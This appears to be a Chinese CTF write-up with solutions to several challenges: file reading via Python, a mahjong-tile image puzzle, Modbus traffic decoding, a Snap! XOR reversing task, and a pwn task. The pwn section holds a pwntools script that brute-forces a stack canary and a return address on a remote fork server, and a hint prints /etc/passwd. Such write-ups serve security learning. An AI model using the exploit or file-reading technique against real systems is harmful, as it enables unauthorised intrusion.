签到题

输错代码后,会看到官方提示:

python3打印文件内容:

1
print(open('/etc/passwd').read())

可以猜测是需要通过输入代码打开什么文件,索性尝试/flag,输入print(open('/flag').read())结果如下:

1

获得flag{Od2e2ea0-0896-4ee6-a925-09acee3db3a9}}

国粹

题干:

a

k-1685203207698-6

可以看到最后两张图长度相同,对齐后有一定的规律

  • 第一行相同牌面对应第二行的牌面没有重复的

  • 第一行相同的牌面,第二行对应的牌面按照一定的顺序排列:

    • 一万 到 九万

    • 一饼 到 九饼

    • 一条 到 九条

    • 东南西北风

    • 中发白

    • 春夏秋冬

    • 梅兰竹菊

同时题干图片中第一行第一个为空白第二行以一个为一万,可以联想到坐标轴,

于是尝试将(a,k)对应的各个点描出:

galf

可以隐约发现flag{},对图片进行翻转操作后:

flag

最后获得flag{202305012359}

Modbus

题目为一个流量包,根据题干提示(还有高人指点),筛选modbus协议的流量包:

image-20230528001734661

注意最后的Word Count,将前14个流量包对应的十六进制提取出来拼接获得

MMYWMX3GNEYWOXZRGAYDA===,再通过Base32解码获得c1f_fi1g_1000.

于是flag{c1f_fi1g_1000}(本题一直摸鱼,全靠队友:joy:)

Babyre

打开附件babyre.xml可以看到https://snap.berkeley.edu访问将文件导入:

查看关键元素(lock)代码:

image-20230528165854609

尝试运行(注意在设置中开启JavaScript拓展),发现需要输入一串字符,阅读关键部分代码。

image-20230528170114677

可以看到键入输进去的字符按照Unicode编码相邻异或后得到test

image-20230528170213070

对比了testsecret的字符是否相同。

所以先修改程序使其输出secret

image-20230528170459851

获得如下一串数字:

102 10 13 6 28 74 3 1 3 7 85 0 4 75 20 92 92 8 28 25 81 83 7 28 76 88 9 0 29 73 0 86 4 87 87 82 84 85 4 85 87 30

根据异或特性,编写逆向程序:

1
2
3
4
5
6
7
l=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
c=['f']
for i in range(len(l)-1):
c.append(chr(l[i+1]^ord(c[i])))

for c in c:
print(c,end='')

输出结果:

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

Funcanary

用ida查看代码,发现这是一个利用fork实现无限循环的函数,

同时发现一个后门函数·

image6

image7

每次会调用shuru函数

查看shuru函数

image9

发现了一个溢出点

查看保护措施

image10

image8

保护全开

查看栈结构

image11

思路明确了,想办法绕开金丝雀值,修改返回地址到后门函数上

而结合无限循环的特性,我可以写一个脚本来逐位爆破canary值,而结合题目的保护设施,后门函数的地址也会变,所以我再写一个爆破脚本,通过最多500次尝试找出正确的后门

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


\#coding=utf8

from pwn import *

import random

\# context.log_level = 'debug'

\# context.terminal = ['gnome-terminal','-x','bash','-c']

\# context(arch='i386',os='linux')

p = remote('47.93.249.245','13230')





canary = b'\x00'

for k in range(7):

for i in range(256):

​ \# print("正在爆破Canary的第" + str(k+1) + "位")

​ \# print("当前的字符为" + chr(i))

​ p.recvuntil(b"welcome\n")

​ payload = b'a' * 104 + canary + p8(i)

​ \#print("当前payload为:", payload)

​ p.send(b'a' * 104 + canary + p8(i))

​ data = p.recvuntil(b'fun',timeout=0.4)

​ \# print(data)

​ if b"fun" in data:

​ canary += p8(i)

​ print(b"Canary is: " + canary)

​ break

print(b'can',hex(u64(canary)))

pause()

context.log_level='debug'

for k in range(500):

p.recvuntil(b'welcome\n')

i=random.randint(0,14)

payload = b'A'*104 +canary+p64(0x7fffffffdddddddd) + p8(0x31)+p8(0x02+i*16)

p.send(payload)